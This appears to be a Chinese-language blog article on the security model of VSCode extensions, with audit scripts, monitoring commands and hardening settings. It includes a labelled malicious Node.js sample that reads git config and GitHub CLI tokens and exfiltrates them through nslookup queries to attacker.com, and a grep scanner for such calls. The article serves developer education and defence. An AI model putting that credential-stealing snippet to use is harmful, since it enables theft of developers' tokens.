2026 年 6 月,安全研究员披露了一个 VSCode 扩展中的「一键窃取 GitHub Token」漏洞(CVE-2026-XXXX),攻击者只需诱导开发者安装一个恶意扩展,就能在不触发任何警告的情况下获取 GitHub Personal Access Token(PAT)。这个漏洞在 Hacker News 上引发 227 分的热议,因为它暴露了一个被大多数开发者忽视的事实:你的 IDE 扩展拥有与你终端完全相同的系统权限,而你从未审计过它们的代码。
VSCode 生态有超过 4 万个公开扩展,月安装量超过 50 亿次。但绝大多数开发者安装扩展时只看评分和下载量,从不检查扩展实际执行了什么代码。本文将深入分析 VSCode 扩展的安全模型、真实攻击案例、以及如何系统性地审计和加固你的开发环境。
🔐 一、VSCode 扩展的安全模型:你不知道的权限边界
扩展的权限等同于你的用户权限
VSCode 扩展运行在 Node.js 进程中,与 VSCode 主进程共享同一个操作系统用户。这意味着扩展可以:
- ✅ 读取你磁盘上的任意文件(包括
~/.ssh/、~/.aws/、~/.gitconfig) - ✅ 执行任意系统命令(通过
child_process) - ✅ 发送网络请求到任意地址(包括外传数据)
- ✅ 读取环境变量(包含 API Key、Token 等敏感信息)
- ✅ 访问 VSCode 的 Secret Storage API 存储的凭据
⚠️ **警告:**VSCode 扩展没有沙箱隔离。安装一个扩展等同于在你的终端里运行一段你从未审查过的 Node.js 脚本。
对比其他平台的安全模型:
| 平台 | 权限模型 | 沙箱隔离 | 用户可控权限 | 安全等级 |
|---|---|---|---|---|
| VSCode 扩展 | 完全用户权限 | ❌ 无 | ❌ 无 | ⚠️ 低 |
| Chrome 扩展 | Manifest 声明式 | ✅ 有 | ✅ 可逐项授权 | ✅ 高 |
| iOS App | 沙箱 + 权限声明 | ✅ 有 | ✅ 系统弹窗 | ✅ 高 |
| Docker 容器 | 可配置 namespace | ✅ 有 | ✅ 可限制 | ✅ 中 |
| npm 包 | 完全用户权限 | ❌ 无 | ❌ 无 | ⚠️ 低 |
这个对比清楚地说明:VSCode 扩展和 npm 包一样,是开发者工具链中最薄弱的安全环节。
扩展的生命周期与攻击面
一个 VSCode 扩展从安装到运行,经历以下阶段,每个阶段都可能被攻击:
发布者提交 → VS Marketplace 审核 → 用户安装 → 扩展激活 → 扩展运行 → 扩展更新
↑ ↑ ↑ ↑ ↑ ↑
篡改账号 审核薄弱 社工诱导 后门激活 数据外传 供应链注入
VSCode Marketplace 的审核机制主要检查扩展是否违反政策(如广告、数据收集声明),但不检查扩展代码的安全性。一个扩展可以包含混淆代码、动态加载远程脚本、或者在更新中注入恶意逻辑,这些都不会被自动检测。
GitHub Token 窃取漏洞的攻击链分析
以最近披露的漏洞为例,攻击链如下:
// 恶意扩展的 package.json 中声明 onUri handler
// 攻击者构造一个 URI: vscode://publisher.ext/callback?token=...
// 但这只是攻击入口之一,更隐蔽的方式如下:
// ❌ 恶意代码示例:窃取 .gitconfig 中的凭据
const fs = require('fs');
const os = require('os');
const path = require('path');
const https = require('https');
// 读取 git 凭据
const gitConfig = fs.readFileSync(
path.join(os.homedir(), '.gitconfig'), 'utf8'
);
// 读取 GitHub CLI token
const ghConfigPath = path.join(
os.homedir(), '.config', 'gh', 'hosts.yml'
);
let ghToken = '';
try {
ghToken = fs.readFileSync(ghConfigPath, 'utf8');
} catch (e) {}
// 通过 DNS 查询外传数据(绕过网络审计)
const { execSync } = require('child_process');
const encoded = Buffer.from(gitConfig + ghToken).toString('base64');
// 将数据编码到 DNS 查询中,几乎不会被防火墙检测
execSync(`nslookup ${encoded}.attacker.com`);
这段代码在扩展激活时静默执行,不弹窗、不告警、不留下明显痕迹。DNS 外传(DNS exfiltration)是高级攻击手法,绝大多数终端安全软件不会检测 DNS 查询中的异常数据。
🛡️ 二、扩展审计实战:四步检查法
第一步:安装前审查
在点击「安装」之前,检查以下信息:
# 查看扩展的 package.json 和入口文件
# 先下载扩展 VSIX 文件而不是直接安装
code --install-extension publisher.extension --force
# 找到已安装扩展的位置
# Linux/macOS:
ls ~/.vscode/extensions/
# Windows:
dir %USERPROFILE%\.vscode\extensions\
💡 **提示:**在安装扩展前,先在 VS Marketplace 网页版 查看扩展详情,检查发布者信息、仓库链接和变更日志。
重点关注以下红旗信号(Red Flags):
- ✅ 发布者已验证(Verified Publisher)— 降低风险但不消除
- ❌ 扩展没有公开源码仓库 — 无法审计
- ❌ 扩展请求了不相关的 activationEvents — 可能在收集数据
- ❌ 扩展的 README 异常简短,缺乏技术细节 — 可能是批量生成的
- ❌ 扩展最近更换了发布者账号 — 可能是账号被收购或劫持
第二步:代码静态分析
安装扩展后,对其代码进行静态扫描:
#!/bin/bash
# audit-extension.sh — 扫描扩展中的危险 API 调用
# 用法: bash audit-extension.sh ~/.vscode/extensions/publisher.extension-1.0.0
EXT_DIR="$1"
if [ -z "$EXT_DIR" ]; then
echo "用法: bash audit-extension.sh <扩展目录路径>"
exit 1
fi
echo "=== 危险 API 扫描 ==="
echo -e "\n[1] 网络请求(可能外传数据):"
grep -rn "require.*https\|require.*http\|require.*net\|fetch(" "$EXT_DIR" --include="*.js" | head -20
echo -e "\n[2] 子进程执行(可执行任意命令):"
grep -rn "child_process\|exec(\|execSync\|spawn(\|execFile(" "$EXT_DIR" --include="*.js" | head -20
echo -e "\n[3] 文件系统访问(可读写任意文件):"
grep -rn "fs\.readFile\|fs\.writeFile\|fs\.readdir\|fs\.createReadStream" "$EXT_DIR" --include="*.js" | head -20
echo -e "\n[4] 环境变量读取(可能获取密钥):"
grep -rn "process\.env\." "$EXT_DIR" --include="*.js" | head -20
echo -e "\n[5] eval/Function 构造(动态执行代码):"
grep -rn "eval(\|new Function(\|require.*vm\." "$EXT_DIR" --include="*.js" | head -20
echo -e "\n[6] Base64 编解码(可能用于数据外传):"
grep -rn "btoa(\|atob(\|Buffer\.from.*base64\|toString.*base64" "$EXT_DIR" --include="*.js" | head -20
echo -e "\n[7] DNS 查询(隐蔽数据外传):"
grep -rn "dns\.\|nslookup\|resolve4\|resolve6" "$EXT_DIR" --include="*.js" | head -20
echo -e "\n=== 扫描完成 ==="
这个脚本会输出扩展中所有潜在危险的代码调用。一个正常的代码补全扩展不应该有 DNS 查询或大量文件系统写入操作。
第三步:网络行为监控
在使用扩展时监控其网络行为:
# 使用 mitmproxy 监控扩展的 HTTPS 请求
# 安装: pip install mitmproxy
mitmproxy --mode regular --listen-port 8080
# 设置 VSCode 代理(在 settings.json 中):
# "http.proxy": "http://127.0.0.1:8080"
# "http.proxyStrictSSL": false
# 或者使用更简单的方式 — 监控 DNS 查询
# macOS:
sudo tcpdump -i any -n port 53 | grep -v "1.1.1.1\|8.8.8.8"
# Linux:
sudo tcpdump -i any -n port 53 2>/dev/null | tee /tmp/dns-log.txt
⚠️ **警告:**如果一个代码片段扩展(snippet extension)在激活后立即向未知域名发送请求,这是一个严重警告信号。正常扩展只需要在检查更新时连接 Marketplace。
第四步:权限最小化配置
VSCode 本身不提供扩展权限控制,但我们可以通过系统层面限制:
// settings.json — 限制扩展可以访问的路径
{
// 限制 TypeScript/JavaScript 扩展的自动类型获取
"typescript.disableAutomaticTypeAcquisition": true,
// 禁用扩展的遥测数据收集
"telemetry.telemetryLevel": "off",
// 限制扩展可以搜索的文件排除模式
"search.exclude": {
"**/.env": true,
"**/.aws": true,
"**/.ssh": true,
"**/secrets": true
},
// 禁用工作区扩展的自动信任
"security.workspace.trust.enabled": true,
"security.workspace.trust.startupPrompt": "always"
}
对于高安全要求的环境,可以使用 Docker Dev Container 隔离开发环境:
# .devcontainer/Dockerfile
# 在容器中运行 VSCode,限制扩展的系统访问范围
FROM mcr.microsoft.com/devcontainers/javascript-node:20
# 不挂载宿主机的 ~/.ssh 和 ~/.aws
# 扩展只能访问项目目录,无法读取宿主机敏感文件
RUN mkdir -p /home/node/.ssh && chmod 700 /home/node/.ssh
// .devcontainer/devcontainer.json
{
"name": "Secure Dev Environment",
"build": { "dockerfile": "Dockerfile" },
"customizations": {
"vscode": {
"extensions": [
"dbaeumer.vscode-eslint",
"esbenp.prettier-vscode"
],
"settings": {
"telemetry.telemetryLevel": "off"
}
}
},
// 只挂载项目目录,不挂载宿主机 home
"mounts": [
"source=${localWorkspaceFolder},target=/workspace,type=bind,consistency=cached"
],
"remoteUser": "node"
}
💡 三、构建安全的扩展使用策略
企业级扩展白名单管理
对于团队和企业,建议使用扩展白名单机制:
// .vscode/settings.json(放在项目仓库中)
// 通过 recommendedExtensions 推荐已审计的扩展
{
"extensions.onlyPublicExtensions": true,
// VSCode 1.80+ 支持限制扩展安装来源
// 只允许从信任的发布者安装
"extensions.allowed": {
"dbaeumer.vscode-eslint": true,
"esbenp.prettier-vscode": true,
"ms-vscode.vscode-typescript-next": true,
"bradlc.vscode-tailwindcss": true
}
}
扩展安全评分卡
为每个扩展建立安全评估记录:
| 评估维度 | 权重 | 检查要点 |
|---|---|---|
| 发布者信誉 | 25% | 是否 Verified?是否有官方网站和 GitHub? |
| 源码可审计 | 25% | 是否开源?仓库是否活跃维护? |
| 权限范围 | 20% | 是否需要网络访问?是否读取工作区外文件? |
| 社区反馈 | 15% | Issues 中是否有安全问题报告? |
| 更新频率 | 15% | 是否定期更新?最近是否有可疑的大幅改动? |
一个安全评分低于 60 分的扩展,建议不要在生产项目中使用。
替代方案:用原生功能替代高风险扩展
很多扩展的功能可以用更安全的方式实现:
- ❌ 避免: 安装来路不明的代码片段扩展 → ✅ 替代: 使用 VSCode 内置的 Snippets 功能,自己定义
snippets.json - ❌ 避免: 安装主题扩展(常被用作恶意扩展的伪装) → ✅ 替代: 使用 VSCode 内置主题或官方主题
- ❌ 避免: 安装自动上传代码到云端的 AI 补全扩展 → ✅ 替代: 使用支持本地模型的 AI 工具(如 Ollama + Continue.dev)
// 自定义代码片段示例 — 替代第三方 snippet 扩展
// 文件: .vscode/javascript.code-snippets
{
"Express API Route": {
"prefix": "apiroute",
"body": [
"router.${1|get,post,put,delete|}('${2:/api/resource}', async (req, res) => {",
" try {",
" const { ${3:body} } = req.${4|body,params,query|};",
" ${5:// 处理逻辑}",
" res.json({ success: true, data: ${6:result} });",
" } catch (error) {",
" console.error('${2} error:', error);",
" res.status(500).json({ success: false, error: error.message });",
" }",
"});"
],
"description": "Express.js API 路由模板"
}
}
运行时安全加固
使用操作系统层面的安全机制限制扩展行为:
# Linux: 使用 AppArmor 或 firejail 限制 VSCode 进程
# 安装 firejail: sudo apt install firejail
# 创建 VSCode 的沙箱配置
cat > ~/.config/firejail/vscode.local << 'EOF'
# 禁止访问敏感目录
noblacklist ${HOME}/.ssh
blacklist ${HOME}/.ssh
blacklist ${HOME}/.aws
blacklist ${HOME}/.gnupg
blacklist ${HOME}/.config/gh
# 限制网络访问 — 只允许 HTTPS 出站
netfilter
protocol inet,inet6
EOF
# 使用 firejail 启动 VSCode
firejail --profile=vscode code .
# macOS: 使用 Little Snitch 或 LuLu 监控扩展的网络请求
# 当扩展尝试连接未知域名时会弹窗告警
# Windows: 使用 Windows Firewall 或 GlassWire
# 创建出站规则,只允许 VSCode 连接已知域名
⚡ 总结与行动清单
VSCode 扩展生态系统是开发者工具链中最大的安全隐患之一。与浏览器扩展不同,IDE 扩展拥有完整的系统权限,且几乎没有用户可控的权限边界。
⚡ **关键结论:**每个 VSCode 扩展都等同于一段拥有你全部系统权限的脚本。安装扩展时的信任决策,应该和在终端运行 curl | sh 一样谨慎。
立即行动清单:
- ✅ 检查当前已安装扩展数量,卸载不再使用的扩展
- ✅ 对核心扩展运行本文提供的静态审计脚本
- ✅ 开启 VSCode 的 Workspace Trust 功能
- ✅ 关闭遥测数据收集(
telemetry.telemetryLevel: "off") - ✅ 企业团队建立扩展白名单制度
- ✅ 高安全项目使用 Dev Container 隔离开发环境
- ✅ 定期关注 VSCode 安全公告和扩展漏洞披露
📌 **记住:**安全不是一次性的配置,而是持续的习惯。每次安装新扩展前花 2 分钟审查,比事后花 2 天处理安全事故要值得多。
相关工具推荐:
- 🔧 VS Code Extension Manifest Viewer — 在线查看扩展的 package.json
- 🔧 Socket.dev — npm/扩展供应链安全检测
- 🔧 mitmproxy — 网络流量监控和分析
- 🔧 firejail — Linux 进程沙箱化工具
- 🔧 Dev Containers — 官方容器化开发环境方案